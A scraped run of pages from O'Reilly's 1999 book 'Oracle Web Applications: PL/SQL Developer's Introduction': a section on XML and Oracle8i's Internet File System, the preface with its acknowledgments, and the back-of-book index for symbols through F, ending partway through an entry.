Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 9] 9.7 XML and iFS

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

9.7 XML and iFS

Oracle8i's Internet File System (iFS) has a built-in XML parser you can use to store XML documents directly in the database. As more and more vendors (including Microsoft, a big proponent of the XML standard) "XML-enable" their products, the iFS parser will become more and more useful. Widespread adoption of the XML format, as opposed to proprietary formats, will help alleviate the common, frustrating, and usually contentious problem of importing data from end user productivity tools into relational databases.

For instance, take spreadsheets. There is no denying the fact that these wonderful tools can help even the most unsophisticated (at least in terms of computer experience) user perform meaningful and important tasks. An analyst might use a spreadsheet to solve a finance problem, a manager might use one to schedule the phases of a project, and an accountant might use one to do almost anything. Some companies even use spreadsheets to create client invoices. Because they are easy to use and widely available, spreadsheets have become primary business tools, perhaps second only to word processors. While spreadsheets have many benefits, however, they have also created difficult information management problems.

For example, companies have spent millions of dollars on relational databases only to see them circumvented by spreadsheets. End users complain, sometimes quite correctly, that systems developed by IS are too complex or time consuming. Consequently, users simply create their own offline versions out of a ragtag collection of spreadsheets. As a result, the critical business information these database systems are designed to collect is strewn randomly throughout hundreds of spreadsheets on dozens of machines. This data is decentralized, unanalyzed, and insecure.

To remedy this problem, many companies try to force users to adopt standards. However, as anyone who has worked in IS knows, there are few issues that stir up more controversy than trying to replace a tool users like, such as a spreadsheet, with one that they don't like, such as a database. Any attempt to do so usually winds up in an "us versus them" battle. End users see IS taking away the tools they need to do their job, and IS sees end users wasting valuable company resources (time, money, sanity, etc.) by refusing to even consider the benefits of different approaches. In most cases, IS is on the losing end of these political battles.

iFS can help eliminate this problem. Once productivity tool vendors adopt XML (many of them are doing this as rapidly as possible), you can use iFS to simply import the relevant portions of the documents directly into the database. Users can use their favorite tools, or at least new versions of these favorites, and you can treat their data as standard relational data. As Humphrey Bogart said at the end of Casablanca, "This could be the start of a beautiful friendship."

Previous: 9.6 PLSXML Utilities and Demos | Oracle Web Applications: PL/SQL Developer's Introduction | Next: A. Appendix: Resources for the Oracle Web Developer
9.6 PLSXML Utilities and Demos | Book Index | A. Appendix: Resources for the Oracle Web Developer
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Oracle Web Applications: PL/SQL Developer's Introduction

By Andrew Odewahn; ISBN 1-56592-687-0E
First Edition, published 1999-09-01.
(See the catalog page for this book.)

Search the text of Oracle Web Applications: PL/SQL Developer's Introduction.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Table of Contents

Preface
Chapter 1: Introduction
Chapter 2: Foundations
Chapter 3: WebDB
Chapter 4: Oracle Application Server (OAS)
Chapter 5: HTML
Chapter 6: PL/SQL
Chapter 7: The PL/SQL Toolkit
Chapter 8: Developing Applications
Chapter 9: XML

Appendix A: Appendix: Resources for the Oracle Web Developer

The Oracle PL/SQL CD Bookshelf Navigation

Copyright © 2000 O'Reilly & Associates. All Rights Reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Preface

Contents:
Goal of This Book
Structure of This Book
Conventions Used in This Book
Comments and Questions
Acknowledgments

Although the philosopher who gave us the phrase "May you be cursed to live in interesting times" probably didn't have Oracle application development in mind, there's no doubt that the saying is as applicable to us today as it was to the ancients.

Since the World Wide Web exploded on the corporate landscape, it's been an exciting time for information technology professionals of all stripes: our skills are in demand, there are lots of exciting new things to learn, and people at dinner parties are actually interested in what we do and no longer recoil in horror at the mere mention of the word "computer."

For most of us, though, the advent of the Web has been a mixed blessing. While there are many ways it can make life better, the steep learning curve has made it hard to take advantage of this potential. Even worse, we're expected to deal with all these issues while keeping existing systems running smoothly. What most of us need is an evolutionary, not a revolutionary, approach to the Web: one that allows us to use our existing skills to solve immediate problems, yet gives us the breathing room to adapt to new concepts and tools.

Oracle Corporation's latest database, Oracle8i (the i stands for Internet), provides just such a framework. Oracle8i allows you to use all your hard-won Oracle skills -- data analysis and design, performance tuning, and SQL -- to manage web content, develop web applications, and integrate those applications with your existing production systems. In an Oracle8i application, Internet skills are almost as important as SQL, normalization, data design, and the host of other database skills. This book will help you start learning these Internet skills and give you a foundation for entry into the new world of Internet computing.

Goal of This Book

The goal of Oracle Web Applications is to help Oracle SQL and PL/SQL developers who have little or no web programming experience to learn to develop useful web applications, using technologies most IS developers can grasp fairly quickly: WebDB, Oracle Application Server (OAS), PL/SQL, HTML, and XML.

In addition, the book introduces several other Oracle8i technologies -- Advanced Queuing (AQ), the Internet File System (iFS), interMedia, InternetLite, and Java(TM) -- and shows how they form a cohesive development framework that addresses the pressing issues of web content management, application development, and application integration. While there have been many changes in Oracle8i, it's still just a database, and there's no need to panic: data is data, whether it comes from the accounts payable system or from the Internet.

This book acknowledges that you're a busy person. Since most of us simply don't have time to read and digest an 800-page book on each individual technology, I've tried to present fundamental elements of the topics you'll use most often in your daily development efforts. This book will get you started and solidly on your way, but it's not, obviously, the ultimate reference. Rather, it is a "Cliff Notes" of Oracle web development -- enough to help you pass the test, but not enough to help you appreciate the finer points. Once you've read the book, however, you'll be ready to delve into the various areas (WebDB, PL/SQL, Java, etc.) more deeply. Your first step on that journey should be to consult the appendix for information on further resources.

Oracle Web Applications: PL/SQL Developer's Introduction | Next: Structure of This Book
Book Index | Structure of This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Structure of This Book

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

Structure of This Book

This book is divided into nine chapters and one appendix, as follows:

Chapter 1, Introduction, provides some motivations for using the Oracle database as a web platform, introduces Oracle8i and its major products, then lays out a strategy to help you get ready for Oracle8i.

Chapter 2, Foundations, provides some background information necessary for the discussion of web technologies. It describes TCP/IP, HTTP, and web browsers, explains the content delivery model used by Oracle's web tools, and presents the basics of database/web integration and security issues.

Chapter 3, WebDB, describes Oracle's WebDB product, which you can use to develop database-driven web applications and sites.

Chapter 4, Oracle Application Server (OAS), describes Oracle's OAS product, which uses plug-in "cartridges" to allow you to develop database-driven web sites in a variety of languages, including Java, Perl, and PL/SQL.

Chapter 5, HTML, describes the basics of HTML (HyperText Markup Language), the standard language used to create web pages.

Chapter 6, PL/SQL, describes Oracle's PL/SQL, a procedural language built on SQL that supports a wide variety of language constructs, including packages.

Chapter 7, The PL/SQL Toolkit, describes the set of PL/SQL packages supplied by Oracle specifically for use in developing PL/SQL web applications.

Chapter 8, Developing Applications, describes two real-world web applications that demonstrate how you can use the tools described in this book to do actual web development.

Chapter 9, XML, describes the basics of XML, an emerging standard for creating structured documents.

Finally, the appendix, Appendix A, Appendix: Resources for the Oracle Web Developer, provides a list of online and offline resources for further information on Oracle and the Web.

Previous: Goal of This Book | Oracle Web Applications: PL/SQL Developer's Introduction | Next: Conventions Used in This Book
Goal of This Book | Book Index | Conventions Used in This Book
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Conventions Used in This Book

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

Conventions Used in This Book

The following conventions are used in this book:

Italic

Used for script, file, and directory names

Constant width

Used for code examples, HTML tags and attributes, and XML tags and elements

Constant width italic

In code examples, indicates an element (e.g., a parameter) that you supply

UPPERCASE

Generally indicates Oracle keywords, including package names

lowercase

In code examples, generally indicates user-defined items such as variables and procedure names

|

In code examples, a vertical bar indicates that you must choose only one from the list (e.g., IN | OUT | IN OUT)

TIP: The owl icon indicates a tip, suggestion, or general note. For example, we'll tell you if you need to use a particular Oracle version or if an operation requires certain privileges.

WARNING: The turkey icon indicates a warning or caution. For example, we'll tell you if Oracle does not behave as you'd expect or if a particular operation has a negative impact on performance.

Previous: Structure of This Book | Oracle Web Applications: PL/SQL Developer's Introduction | Next: Comments and Questions
Structure of This Book | Book Index | Comments and Questions
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Comments and Questions

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

Comments and Questions

We have tested and verified the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing to:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
800-998-9938 (in the U.S. or Canada)
707-829-0515 (international or local)
707-829-0104 (fax)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

info@oreilly.com

To ask technical questions or comment on the book, send email to:

booktech@oreilly.com

For corrections and amplifications to this book, as well as for copies of the examples found in the book, check out O'Reilly & Associates' online catalog at:

http://www.oreilly.com/catalog/oracleweb

For more information about this book and others, see the O'Reilly web site:

http://www.oreilly.com

Previous: Conventions Used in This Book | Oracle Web Applications: PL/SQL Developer's Introduction | Next: Acknowledgments
Conventions Used in This Book | Book Index | Acknowledgments
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Preface] Acknowledgments

Oracle Web Applications: PL/SQL Developer's Introduction

Oracle Web Applications: PL/SQL Developer's IntroductionSearch this book

Acknowledgments

In reviewing the "Acknowledgments" section of other O'Reilly Oracle books, I was really not surprised to almost invariably find Debby Russell at the top of the list. In addition to being a great editor who has a careful (if not downright hawk-like) eye for both style and substance, she's also a warm and funny human being. During the final editing phase of this book, my wife and I were in the midst of a 2000+ mile hike on the Appalachian Trail. Debby was wonderfully patient and understanding during our hike, and kept her sense of humor even during my frantic calls from places like the Nolichucky Campground. Many thanks also to Michael Blanding for greatly improving both the style and organization of the book, Lorrie LeJeune for creating a special order boll weevil, Gigi Estabrook for providing editorial support during the production process, Madeleine Newell for her careful edits and comments, and Jim Cupan for providing much needed NT support. Finally, thanks to all the many other people at O'Reilly who transformed this book from a rough draft into the book you're holding now.

I'm deeply indebted to everyone who has provided invaluable technical feedback. Thanks to those who read this book in its earliest stages: Chris Albee for commenting on the very roughest drafts, Sandy Bickford for being my technical mentor, Steven Feuerstein for his sage PL/SQL advice and for introducing me to Debby at ECO'98, and Steve Muench and Victor Oppenheimer for their feedback on XML. I'm also especially grateful to everyone who reviewed the book and provided excellent suggestions for improvement: Rick Greenwald for his help navigating the sometimes treacherous Oracle waters, Dave Kreines for the feedback on the foundations of Oracle technology, Steven Leung for his advice on WebDB, and Bill Pribyl for his careful analysis of almost everything in the book. (Bill even caught typos in the code comments -- now that's dedication!) Thanks to everyone at Oracle who answered questions and provided many excellent materials: Martin Graf for his help with Oracle Lite, Tom Grant for iFS, Steven Leung for WebDB, Joe Mauro for interMedia, Mahdu Reddy for AQ, and Thomas Kurian and Ashok Swaminathan for explaining how it all fits together. Thanks also to Steve Hilker at RevealNet for letting me use PL/Formatter to format the book's code examples. Despite the hard work of all these people, any errors, omissions, and oversights in the book are solely my own.

Many others have provided help without even knowing it: thanks to the people at Someday Caf� in Davis Square for the strong coffee, the folks at Burdick's Chocolates in Cambridge for the delicious chocolate mice, and the chefs at Blue Fin for the fresh sushi. Also, my deep appreciation to everyone who has been so amazingly nice to us while we've been on our hike, especially Dennis and Mary Hutchins at the Laurel Creek Lodge in Hampton, Tennessee. Thanks to the people in my life who have provided encouragement and support: my parents Joyce Odewahn and Charles Odewahn, my brother Steve and sisters Anne and Cathy, my in-laws Ben and Maxine McManus (who gladly chauffeured us throughout the most obscure corners of Appalachia), and especially my sister-in-law Stacy McManus, who in addition to just being great is also mailing us our food while we're on the trail!

Finally, last but not least, I thank Amy McManus, my wife, friend, confidant, and traveling companion on the trail of life. Without her emotional, spiritual, and financial support none of this would have been possible. In the words of singer and poet Jerry Jeff Walker, "without you there'd be no light in the window, nobody to laugh with late at night . . . there'd be no reason to write . . . ."

Previous: Comments and Questions | Oracle Web Applications: PL/SQL Developer's Introduction | Next: 1. Introduction
Comments and Questions | Book Index | 1. Introduction
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Symbols and Numbers

& special character, OWA_PATTERN package : 7.2.2.1. Regular expressions
< form> tag, HTML : 5.2.7.1. The < form> tag
<a>...</a> tag, HTML : 5.2.4. Anchor Tags
<b>...</b> tag, HTML : 5.2.2. Text Formatting Tags
<br> tag, HTML : 5.2.3. Content Flow Tags
<center>...</center> tag, HTML : 5.2.3. Content Flow Tags
<font>...</font> tag, HTML : 5.2.2. Text Formatting Tags
<form>...</form> tag, HTML : 5.2.7. Form Tags
<hn>...</hn> tag, HTML : 5.2.2. Text Formatting Tags
<hr> tag, HTML : 5.2.3. Content Flow Tags
<i>...</i> tag, HTML : 5.2.2. Text Formatting Tags
<input> tag, HTML
5.2.7. Form Tags
5.2.7.2. The <input> tag
<li>...</li> tag, HTML : 5.2.5. List Tags
<ol>...</ol> tag, HTML : 5.2.5. List Tags
<option>...</option> tag, HTML : 5.2.7. Form Tags
<p> tag, HTML : 5.2.3. Content Flow Tags
<pre>...</pre> tag, HTML : 5.2.3. Content Flow Tags
<select> tag, HTML : 5.2.7.3. The <select> tag
<select>...</select> tag, HTML : 5.2.7. Form Tags
<small>...</small> tag, HTML : 5.2.2. Text Formatting Tags
<sup>...</sup> tab, HTML : 5.2.2. Text Formatting Tags
<table>...</table> tag, HTML : 5.2.6. Table Tags
<td>...</td> tag, HTML : 5.2.6. Table Tags
<textarea> tag, HTML : 5.2.7.4. The <textarea> tag
<textarea>...</textarea> tag, HTML : 5.2.7. Form Tags
<th>...</th> tag, HTML : 5.2.6. Table Tags
<tr>...</tr> tag, html : 5.2.6. Table Tags
<tt>...</tt> tag, HTML : 5.2.2. Text Formatting Tags
<ul>...</ul> tag, HTML : 5.2.5. List Tags
( ) special character, OWA_PATTERN package : 7.2.2.1. Regular expressions
* quantifier, OWA_PATTERN package : 7.2.2.1. Regular expressions
+ quantifier, OWA_PATTERN package : 7.2.2.1. Regular expressions
. atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
? quantifier, OWA_PATTERN package : 7.2.2.1. Regular expressions
\b atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\c atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\d atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\D atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\n atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\nnn atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\s atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\S atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\t atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\w atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\W atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
\xnn atom, OWA_PATTERN package : 7.2.2.1. Regular expressions
^ assertion, OWA_PATTERN package : 7.2.2.1. Regular expressions
{n,m} quantifier, OWA_PATTERN package : 7.2.2.1. Regular expressions
{n,} quantifier, OWA_PATTERN package : 7.2.2.1. Regular expressions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: A

abstract data types (ADTs) : 6.3. Packages
accounts payable : 1.1. The Internet Grows Up
accounts receivable : 1.1. The Internet Grows Up
actual parameters, PL/SQL : 6.1.3. Parameters
Ada : 6. PL/SQL
ADD2MULTI procedure, OWA_TEXT package : 7.2.1.2. Procedures
Adobe PDF : 1.3.9.1. Text data
ADTs (abstract data types) : 6.3. Packages
Advanced Networking Option (ANO) : 2.5.5. Additional Security Precautions
Advanced Queuing (AQ)
1.3. Oracle's Solution -- Oracle8i
1.3.10. Advanced Queuing
AIFF format : 1.3.9.2. Multimedia data
AIFF-C format : 1.3.9.2. Multimedia data
Alpha : 1.2.2.2. Developers must know too many platforms
AltaVista : 1.2.1.1. Finding what you need
AMATCH function, OWA_PATTERN package : 7.2.2.3. Procedures and functions
ANCHOR function, HTF package : 7.1.3. HTF: Parsing HTML
ANCHOR function, HTP package : 7.1.1. HTP: Generating HTML
anchored declaration : 6.2.2.1. Declaring a variable
ANO (Advanced Networking Option : 2.5.5. Additional Security Precautions
answer_survey procedure : 8.2.4.2. Body
answer_survey procedure, EMP_SURVEY package
8.2.4. The EMP_SURVEY Package
8.2.4.2. Body
APIs (application programming interfaces)
1.3.8.4. InternetLite server and API
6.3. Packages
application development
1. Introduction
1.2. Current Web Techniques Are Inadequate
application development, WebDB : 3.1.2. Application Development
application integration : 1.2. Current Web Techniques Are Inadequate
application programming interfaces (APIs)
1.3.8.4. InternetLite server and API
6.3. Packages
AQ (Advanced Queuing)
1.3. Oracle's Solution -- Oracle8i
1.3.10. Advanced Queuing
AQ Lite : 1.3.8.3. AQ Lite
arrays, PL/SQL : 6.2.6. Index-by Tables (Arrays)
assertion, OWA_PATTERN package : 7.2.2.1. Regular expressions
assertions, OWA_PATTERN package : 7.2.2.1. Regular expressions
asynchronous mode, replication : 1.3.8.2. EnterpriseSync Lite
AUF format : 1.3.9.2. Multimedia data
AVI
1.3.9.2. Multimedia data
2.1. Resources

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: B

back references (backrefs), OWA_PATTERN package : 7.2.2.1. Regular expressions
BEGIN command, PL/SQL : 6.1.1. Procedures
BIND_VARIABLES procedure : 7.4.1.5. Creating complex HTML structures
blocks : 6.1. Structured Programming in PL/SQL
body, HTML tag : 5.2.1. Structural Tags
body, PL/SQL : 6.1. Structured Programming in PL/SQL
bottom-up design, PL/SQL : 6.1. Structured Programming in PL/SQL
broken links : 1.2.1.2. Keeping sites up to date
browser-specific extensions, HTML : 5.2.8. Beware Browser-Specific Extensions
business-to-business systems : 1.1. The Internet Grows Up

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: C

C programs, writing : 1.3.8.1. Oracle Lite
CA (certification authority) : 2.5.5. Additional Security Precautions
calendar wizard, WebDB : 3.1.2.2. Building user interface components
CALENDARPRINT procedure : 7.4.1.5. Creating complex HTML structures
cartridges : 4.1.3.1. Cartridges
CASE statements
6.1. Structured Programming in PL/SQL
6.2.3. Conditionals
CAST Workbench : 6.4. PL/SQL Tools
categories, WebDB : 3.1.3.2. Managing content
CELLSPRINT procedure : 7.4.1.5. Creating complex HTML structures
certification authority (CA) : 2.5.5. Additional Security Precautions
CGI (common gateway interface) : 4.1. How OAS Returns Web Resources
CHANGE function, OWA_PATTERN package : 7.2.2.3. Procedures and functions
chart wizard, WebDB : 3.1.2.2. Building user interface components
CHECKSUM procedure, OWA_OPT_LOCK package : 7.3.2.2. Procedures and functions
CHOOSE_DATE procedure : 7.4.1.3. Representing dates
clients, types of : 1.1. The Internet Grows Up
COBOL
1.2.2. Application Development
1.3.10. Advanced Queuing
6. PL/SQL
colors library, WebDB : 3.1.2.3. Building shared components
COM : 1.2.3. Application Integration and Electronic Data Interchange (EDI)
comment, HTML tag : 5.2.1. Structural Tags
comments, in PL/SQL : 6.2.1. Comments
communications protocols : 1.1. The Internet Grows Up
complete refresh : 1.3.8.2. EnterpriseSync Lite
conditional statements, PL/SQL : 6.2.3. Conditionals
conditionals : 6.2.3. Conditionals
configuration file, HTTP listener : 3.2.3.4. Configuration file
connecting databases to web : 1.4.1. Connect the Database to the Web Using OAS or WebDB
content delivery model : 2.3. Content Delivery Model
HTTP Listener : 2.3.1. The HTTP Listener
PL/SQL gateways : 2.4. Database Integration
content management
1.2. Current Web Techniques Are Inadequate
1.2.1. Content Management
1.3.5. WebDB
content-driven web site management, WebDB : 3.1.3. Content-Driven Web Site Management
cookies, OWA_COOKIE package : 7.3.1. OWA_COOKIE: Storing Cookies
CORBA : 1.2.3. Application Integration and Electronic Data Interchange (EDI)
CORBA server objects : 1.3.7. Java
create_msg_form procedure, FORUM package
8.3.6. The FORUM Package
8.3.6.2. Body
create_user_form, FORUM_USERS package
8.3.5. The FORUM_USERS Package
8.3.5.2. Body
current_forum_list procedure, FORUM package
8.3.6. The FORUM Package
8.3.6.2. Body
cursors : 6.2.5. Cursors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: D

DAD : (see Database Access Descriptor)
data models : 8.3.2. Data Model
data structures, OWA_TEXT package : 7.2.1.1. Data structures
data, managing with Oracle : 1.3.9. Oracle interMedia
data, types of : 1.1. The Internet Grows Up
Database Access Descriptor
2.3. Content Delivery Model
3.2.2. Configuring a Database Access Descriptor (DAD)
parameters : 3.2.2.1. DAD parameters
Database Access Descriptor (DAD) : 2.2.5. The Uniform Resource Locator
Database Access Descriptor Name parameter, DAD : 3.2.2.1. DAD parameters
database administration
1.3.5. WebDB
3.1.1. Database Administration
database intengration : 2.4. Database Integration
database object wizards : 3.1.2.1. Building database objects
database objects : 2.5.2. Database Objects
database security : 2.5. Database Security Review
objects : 2.5.2. Database Objects
privileges : 2.5.3. Privileges
users : 2.5.1. Database Users
datatype indicators, HTP package : 7.1.1. HTP: Generating HTML
datatype value, PL/SQL : 6.2.2.1. Declaring a variable
date warehousing : 1.1. The Internet Grows Up
DATETYPE datatype : 7.4.1.3. Representing dates
DBDOM package : 9.6. PLSXML Utilities and Demos
DBXML package : 9.6. PLSXML Utilities and Demos
DBXSL package : 9.6. PLSXML Utilities and Demos
debugging : 7.4.1.1. Debugging
declaration section, PL/SQL : 6.1. Structured Programming in PL/SQL
DECLARE keyword, PL/SQL : 6.1. Structured Programming in PL/SQL
Default (Home) Page parameter, DAD : 3.2.2.1. DAD parameters
default mime type parameter, server settings : 3.2.3.1. Server settings
default values, PL/SQL
6.1.3. Parameters
6.2.2.1. Declaring a variable
dequeuing messages : 1.3.10.3. Enqueue and dequeue messages to/from a queue
developing web applications : 1.4.2. Develop Web Applications with HTML and PL/SQL
development platforms : 1.2. Current Web Techniques Are Inadequate
Devleloper/2000 applications : 1.3.8.1. Oracle Lite
digital certificates : 2.5.5. Additional Security Precautions
display_survey_list procedure, EMP_SURVEY package
8.2.4. The EMP_SURVEY Package
8.2.4.2. Body
DLL (Dynamic Link Library) : 1.3.8.4. InternetLite server and API
DNS (Domain Name Server) : 2.2.1. The TCP/IP Network
Document Access Path parameter, DAD : 3.2.2.1. DAD parameters
Document Access Procedure parameter, DAD : 3.2.2.1. DAD parameters
Document Table parameter, DAD : 3.2.2.1. DAD parameters
document type definition (DTD) : 9.3. The Document Type Definition (DTD)
Domain Name Server (DNS) : 2.2.1. The TCP/IP Network
DOS : 1.2.1.1. Finding what you need
DTD (document type definition) : 9.3. The Document Type Definition (DTD)
Dynamic Link Library (DLL) : 1.3.8.4. InternetLite server and API
dynamic page wizard, WebDB : 3.1.2.2. Building user interface components
dynamic resources
1.2.2. Application Development
2.1. Resources

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: E

e-commerce: 1.1. The Internet Grows Up
EJBs (Enterprise Java Beans(TM)) : 1.3.7. Java
electronic data exchange : 1.2. Current Web Techniques Are Inadequate
EMP_SURVEY Package : 8.2.4. The EMP_SURVEY Package
END command, PL/SQL : 6.1.1. Procedures
enqueuing messages : 1.3.10.3. Enqueue and dequeue messages to/from a queue
Enterprise Java Beans(TM) (EJBs) : 1.3.7. Java
Enterprise Resource Planning (ERP)
1.1. The Internet Grows Up
1. Introduction
EnterpriseSync Lite (ESL) : 1.3.8.2. EnterpriseSync Lite
ERP(enterprise resource planning) : 1. Introduction
ESL (EnterpriseSync Lite) : 1.3.8.2. EnterpriseSync Lite
Eudora
1.3.1. The Internet File System
1.3.8.2. EnterpriseSync Lite
Excel : 1.3.9.1. Text data
exception section, PL/SQL : 6.1. Structured Programming in PL/SQL
executable section, PL/SQL : 6.1. Structured Programming in PL/SQL
EXECUTE permission : 6.1.6. Permissions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


Index

Book HomeSearch this book

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: F

fast refresh : 1.3.8.2. EnterpriseSync Lite
file attributes : 1.2.1.1. Finding what you need
file extensions : 3.2.3.3. MIME type mappings
file, WebDB dashboard : 3.1.3.1. User-uploaded content
filesystems : 1.2.1.1. Finding what you need
firewalls : 2.5.5. Additional Security Precautions
flags, OWA_PATTERN package : 7.2.2.1. Regular expressions
folderlink, WebDB dashboard : 3.1.3.1. User-uploaded content
folders, WebDB : 3.1.3.2. Managing content
fonts library, WebDB : 3.1.2.3. Building shared components
FOR loop : 6.2.4. Loops
form page wizard, WebDB : 3.1.2.2. Building user interface components
formal parameters, PL/SQL : 6.1.3. Parameters
forms, HTML : 2.4.3.2. Using an HTML form
FORTRAN : 1.2.2. Application Development
FORUM package : 8.3.3. Implementation Notes
create_msg_form procedure
8.3.6. The FORUM Package
8.3.6.2. Body
save_message procedure
8.3.6. The FORUM Package
8.3.6.2. Body
view_message procedure
8.3.6. The FORUM Package
8.3.6.2. Body
FORUM package>
current_forum_list procedure
8.3.6. The FORUM Package
8.3.6.2. Body
print_thread_links procedure
